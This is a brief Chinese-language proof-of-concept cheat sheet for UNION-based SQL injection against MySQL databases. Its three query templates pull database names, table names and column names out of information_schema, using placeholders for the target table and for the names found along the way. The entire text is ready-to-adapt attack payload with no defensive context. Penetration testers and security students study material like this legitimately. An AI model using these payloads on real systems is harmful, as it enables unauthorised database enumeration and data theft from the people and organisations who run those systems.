#POC#查询所有数据库名select * from 已知表名 WHERE id='' union SELECT 1,2,3,4,5,6,7,8,9,(select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA)#查询所有表名select * from 已知表名 WHERE id='' union SELECT 1,2,3,4,5,6,7,8,9,(select group_concat(table_name) from information_schema.tables where table_schema='查询到的库名')#查询某表的字段名select * from 已知表名 WHERE id='' union SELECT 1,2,3,4,5,6,7,8,9,(select group_concat(column_name) from information_schema.columns where table_schema='查询到的库名' and table_name='查询到的表名')